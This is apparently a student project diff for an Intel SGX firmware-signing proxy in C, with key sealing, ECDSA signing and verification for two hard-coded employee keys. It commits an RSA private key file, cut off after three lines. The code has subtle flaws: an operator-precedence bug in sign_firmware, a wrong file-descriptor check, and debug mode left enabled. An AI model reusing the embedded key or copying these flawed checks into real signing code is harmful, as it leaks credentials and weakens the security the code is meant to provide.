+            args.sealed_key_file_path = argv[i+1];
+            i += 2;
+        }else if(strcmp(argv[i], "-token")==0 && argc-i >=2){
+            args.sgx_token_path = argv[i+1];
+            i += 2;
+        }else
+            syntax_exit();
+    }
+
+    if(args.sealed_key_file_path == NULL)
+        syntax_exit();
+
+    /*
+     * Initialize SGX Enclave
+     */
+
+    if (initialize_enclave(args.sgx_token_path) != 0)
+        exit (EXIT_FAILURE);
+
+    /*
+     * Setup Sealed Keypair
+     */
+
+    sealed_file = fopen(args.sealed_key_file_path, "wb");
+    if(sealed_file == NULL){
+        perror("Error opening sealed_key_file file");
+        exit (EXIT_FAILURE);
+    }
+
+    sgx_ret = get_sealed_size(get_global_eid(), &sealed_size);
+    if (sgx_ret != SGX_SUCCESS) {
+        sgx_print_error_message(sgx_ret);
+        exit (EXIT_FAILURE);
+    }
+    sealed = malloc(sizeof(uint8_t)*sealed_size);
+    if (sealed == NULL) {
+        fprintf(stderr, "failed to allocate for sealed key");
+        exit (EXIT_FAILURE);
+    }
+
+    /*
+     * Use Enclave To Generate Keypair
+     */
+
+    generate_key_pair(get_global_eid(), &sgx_ret, sealed, sealed_size);
+    if (sgx_ret != SGX_SUCCESS) {
+        sgx_print_error_message(sgx_ret);
+        exit (EXIT_FAILURE);
+    }
+
+    /*
+     * Store Sealed Keypair
+     */
+
+    if (fwrite(sealed, sealed_size, 1, sealed_file) != 1 || ferror(sealed_file) != 0) {
+        fprintf(stderr, "failed to write sealed key");
+        exit (EXIT_FAILURE);
+    }
+    fflush(sealed_file);
+    fclose(sealed_file);
+
+    /*
+     * Fetch Public Key From Enclave And Print
+     */
+
+    get_public_key(get_global_eid(), &sgx_ret, sealed, sealed_size, (uint8_t*)&sgx_public_key);
+    if (sgx_ret != SGX_SUCCESS) {
+        sgx_print_error_message(sgx_ret);
+        exit (EXIT_FAILURE);
+    }
+
+    public_key = sgx_public_to_EVP_PKEY(&sgx_public_key);
+    if (PEM_write_PUBKEY(stdout, public_key) != 1) {
+        fprintf(stderr, "could not write publickey\n");
+        exit (EXIT_FAILURE);
+    }
+    fflush(stdout);
+
+    EVP_PKEY_free(public_key);
+    free(sealed);
+
+    exit (EXIT_SUCCESS);
+}

Assignment 7 - SGX Hands-on/src/app/proxysetup.h

@@ -0,0 +1,23 @@
+#ifndef _APP_PROXYSETUP_H_
+#define _APP_PROXYSETUP_H_
+
+
+/*
+ * @brief getter for proxysetup subcommand syntax string
+ *
+ * @returns null-terminated syntax string
+ */
+char* proxysetup_syntax(void);
+
+/*
+ * @brief CLI implementation for the "proxysetup" subcommand
+ *
+ * @param argc number of arguments with command and subcommand stripped
+ * @param argv arguments with command and subcommand stripped
+ *
+ * @returns 0 on success, else error with output on stderr
+ */
+int handle_proxysetup(int argc, char** argv);
+
+
+#endif

Assignment 7 - SGX Hands-on/src/app/util.c

@@ -0,0 +1,247 @@
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#include "embedded_device.h"
+#include "employee.h"
+#include "util.h"
+#include "proxy.h"
+#include "proxysetup.h"
+
+
+static char* BIN_NAME = "SignatureProxy";
+
+static sgx_enclave_id_t global_eid = 0;
+
+void syntax_exit(void) {
+    char* syntax =
+        "SignatureProxy Version 0.0.0\n"
+        "Syntax: %s <command> <arguments>\n"
+        "\n"
+        "Commands:\n"
+        "%s"
+        "\n"
+        "%s"
+        "\n"
+        "%s"
+        "\n"
+        "%s";
+
+    printf(syntax, BIN_NAME, proxysetup_syntax(), employee_syntax(), proxy_syntax(), embedded_device_syntax());
+    exit (EXIT_FAILURE);
+}
+
+void set_bin_name(char* bin_name) {
+    BIN_NAME = bin_name;
+}
+/*
+ * This definition is copied from the provided SGX Examples.
+ * The specified License applies.
+ */
+typedef struct _sgx_errlist_t {
+    sgx_status_t err;
+    const char *msg;
+    const char *sug; /* Suggestion */
+} sgx_errlist_t;
+
+/*
+ * This definition is copied from the provided SGX Examples.
+ * The specified License applies.
+ */
+/* Error code returned by sgx_create_enclave */
+static sgx_errlist_t sgx_errlist[] = {
+    {
+        SGX_ERROR_UNEXPECTED,
+        "Unexpected error occurred.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_PARAMETER,
+        "Invalid parameter.",
+        NULL
+    },
+    {
+        SGX_ERROR_OUT_OF_MEMORY,
+        "Out of memory.",
+        NULL
+    },
+    {
+        SGX_ERROR_ENCLAVE_LOST,
+        "Power transition occurred.",
+        "Please refer to the sample \"PowerTransition\" for details."
+    },
+    {
+        SGX_ERROR_INVALID_ENCLAVE,
+        "Invalid enclave image.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_ENCLAVE_ID,
+        "Invalid enclave identification.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_SIGNATURE,
+        "Invalid enclave signature.",
+        NULL
+    },
+    {
+        SGX_ERROR_OUT_OF_EPC,
+        "Out of EPC memory.",
+        NULL
+    },
+    {
+        SGX_ERROR_NO_DEVICE,
+        "Invalid SGX device.",
+        "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards."
+    },
+    {
+        SGX_ERROR_MEMORY_MAP_CONFLICT,
+        "Memory map conflicted.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_METADATA,
+        "Invalid enclave metadata.",
+        NULL
+    },
+    {
+        SGX_ERROR_DEVICE_BUSY,
+        "SGX device was busy.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_VERSION,
+        "Enclave version was invalid.",
+        NULL
+    },
+    {
+        SGX_ERROR_INVALID_ATTRIBUTE,
+        "Enclave was not authorized.",
+        NULL
+    },
+    {
+        SGX_ERROR_ENCLAVE_FILE_ACCESS,
+        "Can't open enclave file.",
+        NULL
+    },
+};
+/*
+ * This Method is copied from the provided SGX Examples.
+ * The specified License applies.
+ */
+/* Check error conditions for loading enclave */
+void sgx_print_error_message(sgx_status_t ret)
+{
+    size_t idx = 0;
+    size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0];
+
+    for (idx = 0; idx < ttl; idx++) {
+        if(ret == sgx_errlist[idx].err) {
+            if(NULL != sgx_errlist[idx].sug)
+                printf("Info: %s\n", sgx_errlist[idx].sug);
+            printf("Error: %s\n", sgx_errlist[idx].msg);
+            break;
+        }
+    }
+
+    if (idx == ttl)
+    	printf("Error code is 0x%X. Please refer to the \"Intel SGX SDK Developer Reference\" for more details.\n", ret);
+}
+
+/*
+ * This Method is copied from the provided SGX Examples.
+ * The specified License applies.
+ */
+int initialize_enclave(char* token_path) {
+    FILE* sgx_token_file = NULL;
+    sgx_launch_token_t token = {0};
+    sgx_status_t ret;
+    int updated = 0;
+
+    if (token_path != NULL) {
+        sgx_token_file = fopen(token_path, "rb");
+    }
+
+    if(sgx_token_file == NULL){
+        if (errno != ENOENT && token_path != NULL) {
+            perror("Error opening sgx token file");
+            exit(1);
+        }
+    }else{
+        size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), sgx_token_file);
+        if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) {
+            fprintf(stderr, "sgx token file is corrupted");
+            return (1);
+        }
+    }
+
+    ret = sgx_create_enclave("enclave.signed.so", SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL);
+    if (ret != SGX_SUCCESS) {
+        sgx_print_error_message(ret);
+        return (1);
+    }
+
+    if (updated && token_path != NULL) {
+        sgx_token_file = freopen(token_path, "wb", sgx_token_file);
+        if(sgx_token_file == NULL){
+            perror("Error opening sgx token file");
+            return (1);
+        }
+        size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), sgx_token_file);
+        if (write_num != sizeof(sgx_launch_token_t)){
+            fprintf(stderr,"Warning: Failed to save launch token to \"%s\".\n", token_path);
+            return (1);
+        }
+    }
+    return (0);
+}
+
+sgx_enclave_id_t get_global_eid(void){
+    return global_eid;
+}
+
+int load_file(const char* path, uint8_t** data, size_t* data_len) {
+    FILE* file;
+    size_t file_size;
+    uint8_t* buf;
+
+    int file_des = open(path, O_RDWR);
+    if(file_des == 0)
+        return (1);
+
+    struct stat stat;
+    if (fstat(file_des, &stat) != 0){
+        close(file_des);
+        return (2);
+    }
+
+    close(file_des);
+
+    file_size = stat.st_size;
+    buf = malloc(file_size);
+    if (buf == NULL)
+        return (3);
+
+    file = fopen(path, "rb");
+    if(file == NULL){
+        free(buf);
+        return (4);
+    }
+
+    if (fread(buf, file_size, 1, file) != 1 || ferror(file) != 0) {
+        free(buf);
+        fclose(file);
+        return (5);
+    }
+
+    fclose(file);
+    *data = buf;
+    *data_len = file_size;
+    return (0);
+}

Assignment 7 - SGX Hands-on/src/app/util.h

@@ -0,0 +1,33 @@
+#ifndef _APP_UTIL_H_
+#define _APP_UTIL_H_
+
+#include <sgx_urts.h>
+
+
+
+/*
+ * @brief prints the command syntax and exits with EXIT_FAILURE
+ */
+void syntax_exit(void);
+
+void set_bin_name(char* bin_name);
+
+void sgx_print_error_message(sgx_status_t ret);
+
+int initialize_enclave(char* token_path);
+
+sgx_enclave_id_t get_global_eid(void);
+
+/*
+ * @brief loads a file completely into the HEAP
+ *
+ * Loads a File into HEAP and returns a dynamically allocated buffer.
+ *
+ * @param path      path of the file
+ * @param data      allocated buffer output
+ * @param data_len  length of the allocated buffer
+ * @returns 0 on success, non zero on error
+ */
+int load_file(const char* path, uint8_t** data, size_t* data_len);
+
+#endif

Assignment 7 - SGX Hands-on/src/enclave/enclave.c

@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in
+ *     the documentation and/or other materials provided with the
+ *     distribution.
+ *   * Neither the name of Intel Corporation nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+
+#include <stdarg.h>
+#include <stdio.h>      /* vsnprintf */
+#include <string.h>
+#include <stdlib.h>
+
+#include "enclave.h"
+#include "enclave_t.h"
+#include <sgx_tseal.h>
+#include <sgx_error.h>
+#include <sgx_tcrypto.h>
+
+
+#ifndef SK_SIZE
+#define SK_SIZE SGX_ECP256_KEY_SIZE
+#endif
+
+#ifndef PK_SIZE
+#define PK_SIZE 2*SK_SIZE
+#endif
+
+#ifndef DG_SIZE
+#define DG_SIZE SK_SIZE
+#endif
+
+#ifndef SI_SIZE
+#define SI_SIZE 2*SK_SIZE
+#endif
+
+/*
+*   Bobs and Alices public keys
+*/
+const sgx_ec256_public_t authorized[2] = {
+    {
+        .gx = { 
+            0x9c, 0x72, 0x2b, 0x52, 0x0e, 0xff, 0x07, 0xdc,
+            0x7a, 0x32, 0x19, 0xbb, 0xd8, 0x41, 0x94, 0x2c,
+            0xee, 0x17, 0xb2, 0xf6, 0x2e, 0x08, 0x61, 0xab,
+            0xbc, 0x50, 0xaf, 0xb6, 0x2e, 0xf9, 0x2c, 0xee
+        },
+        .gy = {
+            0x8c, 0x84, 0x2f, 0xb5, 0x94, 0xca, 0x60, 0x94,
+            0xb0, 0xdc, 0x8a, 0xcf, 0x17, 0x91, 0xd3, 0xab,
+            0x29, 0x0e, 0x81, 0x8c, 0xf6, 0x95, 0xc6, 0x92,
+            0x87, 0x0e, 0x1d, 0x76, 0x56, 0xba, 0x51, 0xbb 
+        }
+    },
+    {
+        .gx = {
+            0x8d, 0x96, 0xa3, 0x4f, 0x1a, 0x18, 0x10, 0x00,
+            0x72, 0xb5, 0x42, 0x4f, 0x1c, 0xfb, 0xb6, 0xd0,
+            0x29, 0x4f, 0x5f, 0xd2, 0xef, 0x29, 0x49, 0x1c,
+            0xea, 0x2b, 0xf5, 0x61, 0x5e, 0x50, 0xe5, 0x76
+        },
+        .gy = {
+            0xb2, 0x58, 0xa6, 0xf9, 0xf3, 0xc4, 0xb5, 0xdf,
+            0xa0, 0x4b, 0xb6, 0xad, 0xdd, 0xb1, 0x04, 0xec,
+            0x93, 0x2e, 0x2f, 0xce, 0x34, 0x71, 0x7d, 0xf4,
+            0x9d, 0xa4, 0xa5, 0xf1, 0x47, 0x0a, 0xba, 0xa1
+        }
+    }
+};
+
+
+int get_digest_size() {
+    return DG_SIZE;
+}
+
+int get_sealed_size() {
+    return sgx_calc_sealed_data_size(PK_SIZE, SK_SIZE);
+}
+
+int get_signature_size() {
+    return SI_SIZE;
+}
+
+int get_public_key_size() {
+    return PK_SIZE;
+}
+
+int get_private_key_size() {
+    return SK_SIZE;
+}
+
+/*
+ * seals a key pair
+ */
+static sgx_status_t seal_key_pair(const sgx_ec256_private_t *private, const sgx_ec256_public_t *public, uint8_t **sealed) {
+    // allocate temporary buffers on stack
+    uint8_t pk[PK_SIZE] = {0};
+    uint8_t sk[SK_SIZE] = {0};
+
+    // copy key pair into buffers
+    memcpy(pk, public->gx, PK_SIZE);
+    memcpy(sk, private->r, SK_SIZE);
+
+    // seal keypair
+    return sgx_seal_data(PK_SIZE, (const uint8_t *)pk, SK_SIZE, (const uint8_t *)sk, get_sealed_size(), (sgx_sealed_data_t *) *sealed);
+}
+
+/*
+ * unseals a key pair
+ */
+static sgx_status_t unseal_key_pair(const uint8_t *sealed, sgx_ec256_private_t *private, sgx_ec256_public_t *public) {
+    // invalid parameter handling
+    if(sealed == NULL) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    }
+
+    // allocate temporary buffers on stack
+    uint8_t pk[PK_SIZE] = {0};
+    uint8_t sk[SK_SIZE] = {0};
+    
+    // calculate public_key size and return error for unexpected results
+    uint32_t pk_size = sgx_get_add_mac_txt_len((const sgx_sealed_data_t *)sealed);
+    uint32_t sk_size = sgx_get_encrypt_txt_len((const sgx_sealed_data_t *)sealed);
+    if ((pk_size != PK_SIZE) || (sk_size != SK_SIZE)) {
+        return SGX_ERROR_UNEXPECTED;
+    }
+
+    // unseal ecc key pair
+    sgx_status_t status = sgx_unseal_data((const sgx_sealed_data_t *)sealed, pk, &pk_size, sk, &sk_size);
+    if (status != SGX_SUCCESS) {
+        return status;
+    }
+
+    // copy buffers into key structs
+    if(public != NULL) {
+        memcpy(public->gx, pk, PK_SIZE);
+    }
+    if (private != NULL) {
+        memcpy(private->r, sk, SK_SIZE);
+    }
+
+    // return success
+    return status;
+}
+
+sgx_status_t generate_key_pair(uint8_t *sealed, uint32_t sealed_size) {
+    // invalid parameter handling
+    if((sealed == NULL) || (sealed_size != get_sealed_size())) {
+        return SGX_ERROR_INVALID_PARAMETER;   
+    }
+
+    // declare needed structs
+    sgx_ecc_state_handle_t ecc_handle;
+    sgx_ec256_private_t private;
+    sgx_ec256_public_t public;
+    sgx_status_t status;
+    
+    // open ecc handle
+    if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
+        return status;
+    }
+
+    // create ecc key pair
+    if((status = sgx_ecc256_create_key_pair(&private, &public, ecc_handle)) != SGX_SUCCESS) {
+        goto exit;
+    }
+
+    // seal key pair
+    status = seal_key_pair(&private, &public, &sealed);
+    
+    exit: ;
+    sgx_ecc256_close_context(ecc_handle);
+    return status;
+}
+
+sgx_status_t get_public_key(const uint8_t *sealed, uint32_t sealed_size, uint8_t *public) {
+    // invalid parameter handling
+    if((sealed == NULL) || (sealed_size != get_sealed_size())) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if(public == NULL) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    }
+
+    // unseal public key
+    return unseal_key_pair(sealed, NULL, (sgx_ec256_public_t *)public);
+}
+
+/*
+ * verifies an ecdsa signature
+ */
+static sgx_status_t verify_signature(const uint8_t *firmware, uint32_t firmware_size, const sgx_ec256_public_t *public, const sgx_ec256_signature_t* ecc_signature) {
+    // invalid parameter handling
+    if((firmware == NULL) || (firmware_size == 0) || (public == NULL) || (ecc_signature == NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    }
+
+    // declare needed structure
+    sgx_ecc_state_handle_t ecc_handle;
+
+    // open ecc handle
+    sgx_status_t status;
+    if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
+        return status;
+    }
+
+    // verify signature
+    uint8_t result;
+    sgx_status_t verification_status = sgx_ecdsa_verify(firmware, firmware_size, public, ecc_signature, &result, ecc_handle);
+
+    // handle failed verification process
+    if(verification_status != SGX_SUCCESS) {
+        result = verification_status;
+    }
+
+    // close context and return valid signature
+    sgx_ecc256_close_context(ecc_handle);
+    return result;
+}
+
+sgx_status_t sign_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, uint8_t *public_key, uint8_t *signature) {
+    // invalid parameter handling
+    if((firmware == NULL) || (firmware_size == 0)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if((public_key == NULL) || (signature == NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if((sealed == NULL) || (sealed_size != get_sealed_size())) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    }
+
+    // verify public key
+    for(size_t i = 0; i < sizeof(authorized)/sizeof(authorized[0]); i++) {
+        if(memcmp(public_key, authorized[i].gx, PK_SIZE) == 0) {
+            goto sign;
+        }
+    }
+    return SGX_ERROR_UNEXPECTED;
+    
+    sign: ;
+
+    // declare need structures
+    sgx_ec256_signature_t ecc_signature;
+    sgx_ecc_state_handle_t ecc_handle;
+    sgx_ec256_private_t private;
+
+    // open ecc handle
+    sgx_status_t status;
+    if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
+        return status;
+    }
+
+    // verify request
+    if((status = verify_signature(firmware, firmware_size, (const sgx_ec256_public_t *)public_key, (const sgx_ec256_signature_t *)signature)) != SGX_EC_VALID) {
+        goto exit;
+    }
+
+    // try unseal keypair
+    if(status = unseal_key_pair(sealed, &private, (sgx_ec256_public_t *)public_key) != SGX_SUCCESS) {
+        goto exit;
+    }
+
+    // create signature
+    if((status = sgx_ecdsa_sign(firmware, firmware_size, &private, &ecc_signature, ecc_handle)) != SGX_SUCCESS) {
+        goto exit;
+    }
+
+    // copy signature to return buffer
+    memcpy(signature, ecc_signature.x, SI_SIZE);
+
+    // close ecc handle and return success
+    exit: ;
+    sgx_ecc256_close_context(ecc_handle);
+    return status;
+}
+
+sgx_status_t verify_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, const uint8_t *public_key, const uint8_t *signature) {
+    // invalid parameter handling
+    if((firmware == NULL) || (firmware_size == 0) || (signature == NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if((sealed == NULL) && (public_key == NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if((sealed != NULL) && (public_key != NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;
+    } else if((sealed_size != get_sealed_size()) && (public_key == NULL)) {
+        return SGX_ERROR_INVALID_PARAMETER;;
+    }
+
+    // declare needed structures
+    sgx_ec256_public_t public;
+    sgx_status_t status;
+
+    // verify signature from staff or enclave
+    if(public_key != NULL) {
+        // verification only with authorized public keys
+        for(size_t i = 0; i < sizeof(authorized)/sizeof(authorized[0]); i++) {
+            if(memcmp(public_key, authorized[i].gx, PK_SIZE) == 0) {
+                goto verify;
+            }
+        }   
+        return SGX_ERROR_UNEXPECTED;
+
+        verify: ;
+        // copy public key into struct
+        memcpy(public.gx, public_key, PK_SIZE);
+    } else {
+        // unseal public key
+        if((status = unseal_key_pair(sealed, NULL, &public)) != SGX_SUCCESS) {
+            return status;
+        }
+    }
+
+    // verify signature and return result
+    return verify_signature(firmware, firmware_size, &public, (const sgx_ec256_signature_t *)signature);
+}

Assignment 7 - SGX Hands-on/src/enclave/enclave.config.xml

@@ -0,0 +1,12 @@
+<EnclaveConfiguration>
+  <ProdID>0</ProdID>
+  <ISVSVN>0</ISVSVN>
+  <StackMaxSize>0x400000</StackMaxSize>
+  <HeapMaxSize>0x1000000</HeapMaxSize>
+  <TCSNum>10</TCSNum>
+  <TCSPolicy>1</TCSPolicy>
+  <!-- Recommend changing 'DisableDebug' to 1 to make the enclave undebuggable for enclave release -->
+  <DisableDebug>0</DisableDebug>
+  <MiscSelect>0</MiscSelect>
+  <MiscMask>0xFFFFFFFF</MiscMask>
+</EnclaveConfiguration>

Assignment 7 - SGX Hands-on/src/enclave/enclave.edl

@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in
+ *     the documentation and/or other materials provided with the
+ *     distribution.
+ *   * Neither the name of Intel Corporation nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+/* Enclave.edl - Top EDL file. */
+
+enclave {
+    
+    /* Import ECALL/OCALL from sub-directory EDLs.
+     *  [from]: specifies the location of EDL file. 
+     *  [import]: specifies the functions to import, 
+     *  [*]: implies to import all functions.
+     */
+    
+    trusted {
+        public int get_sealed_size();
+        public int get_digest_size();
+        public int get_signature_size();
+        public int get_public_key_size();
+        public int get_private_key_size();
+        public sgx_status_t generate_key_pair([out, size=sealed_size]uint8_t *sealed, uint32_t sealed_size);
+        public sgx_status_t get_public_key([in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [out, size=64]uint8_t *public_key);
+        public sgx_status_t sign_firmware([in, size=firmware_size]const uint8_t *firmware, uint32_t firmware_size, [in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [in, out, size=64]uint8_t *public_key, [in, out, size=64]uint8_t *signature);
+        public sgx_status_t verify_firmware([in, size=firmware_size]const uint8_t *firmware, uint32_t firmware_size, [in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [in, size=64]const uint8_t *public_key, [in, size=64]const uint8_t *signature);
+    };
+
+    /* 
+     * ocall_print_string - invokes OCALL to display string buffer inside the enclave.
+     *  [in]: copy the string buffer to App outside.
+     *  [string]: specifies 'str' is a NULL terminated buffer.
+     */
+    untrusted {
+        
+    };
+};

Assignment 7 - SGX Hands-on/src/enclave/enclave.h

@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in
+ *     the documentation and/or other materials provided with the
+ *     distribution.
+ *   * Neither the name of Intel Corporation nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+
+#ifndef _ENCLAVE_H_
+#define _ENCLAVE_H_
+
+#include <stdint.h>
+#include <sgx_error.h>
+
+/*
+ * returns the size of the sealed key pair
+ */
+int get_sealed_size();
+
+/*
+ * returns the length of the hash used in the signature
+ */
+int get_digest_size();
+
+/*
+ * returns the size of the signature created by the enclave
+ */
+int get_signature_size();
+
+/*
+ * returns the size of the public key
+ */
+int get_public_key_size();
+
+/*
+ * returns the size of the private key
+ */
+int get_private_key_size();
+
+/*
+ * @brief generates a secp256r1 key pair and returns it sealed by the TEE
+ *
+ * @param sealed buffer to hold the sealed key pair
+ * @param sealed_size size of the sealed key pair
+ *
+ * @returns SGX_SUCCESS on success, else sgx error code
+ */
+sgx_status_t generate_key_pair(uint8_t *sealed, uint32_t sealed_size);
+
+/*
+ * @brief returns the public key of the sealed key pair provided to the enclave
+ *
+ * @param sealed buffer containing the sealed key pair
+ * @param sealed_size size of the sealed key pair
+ * @param public_key buffer to hold the public key
+ *
+ * @returns SGX_SUCCESS on success, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
+ */
+sgx_status_t get_public_key(const uint8_t *sealed, const uint32_t sealed_size, uint8_t *public_key);
+
+/*
+ * @brief signs the firmware provided by an authorized employee
+ *
+ * @param firmware buffer containing the firmware
+ * @param firmware_size size of the sealed key pair
+ * @param sealed buffer containing the sealed key pair
+ * @param sealed_size size of the sealed key pair
+ * @param public_key buffer with the employees public key; holds enclaves public key after successful signing
+ * @param signature buffer with the employees signature; holds the enclaves signature after successful signing
+ *
+ * @returns SGX_SUCCESS on success, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
+ */
+sgx_status_t sign_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, uint8_t *public_key, uint8_t *signature);
+
+/*
+ * @brief verifies a firmware signature provided by an authorized employee or enclave
+ *
+ * @param firmware buffer containing the firmware
+ * @param firmware_size size of the sealed key pair or NULL
+ * @param sealed buffer containing the sealed key pair
+ * @param sealed_size size of the sealed key pair
+ * @param public_key buffer with the employees public key or NULL
+ * @param signature buffer with the employees signature
+ *
+ * @returns SGX_EC_VALID on success, SGX_EC_INVALID for invalid signatures, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
+ */
+sgx_status_t verify_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, const uint8_t *public_key, const uint8_t *signature);
+
+#endif /* !_ENCLAVE_H_ */

Assignment 7 - SGX Hands-on/src/enclave/enclave.lds

@@ -0,0 +1,10 @@
+enclave.so
+{
+    global:
+        g_global_data_sim;
+        g_global_data;
+        enclave_entry;
+        g_peak_heap_used;
+    local:
+        *;
+};

Assignment 7 - SGX Hands-on/src/enclave/enclave_private.pem

@@ -0,0 +1,39 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIG4gIBAAKCAYEAroOogvsj/fZDZY8XFdkl6dJmky0lRvnWMmpeH41Bla6U1qLZ
+AmZuyIF+mQC/cgojIsrBMzBxb1kKqzATF4+XwPwgKz7fmiddmHyYz2WDJfAjIveJ
+ZjdMjM4+EytGlkkJ52T8V8ds0/L2qKexJ+NBLxkeQLfV8n1mIk7zX7jguwbCG1Pr
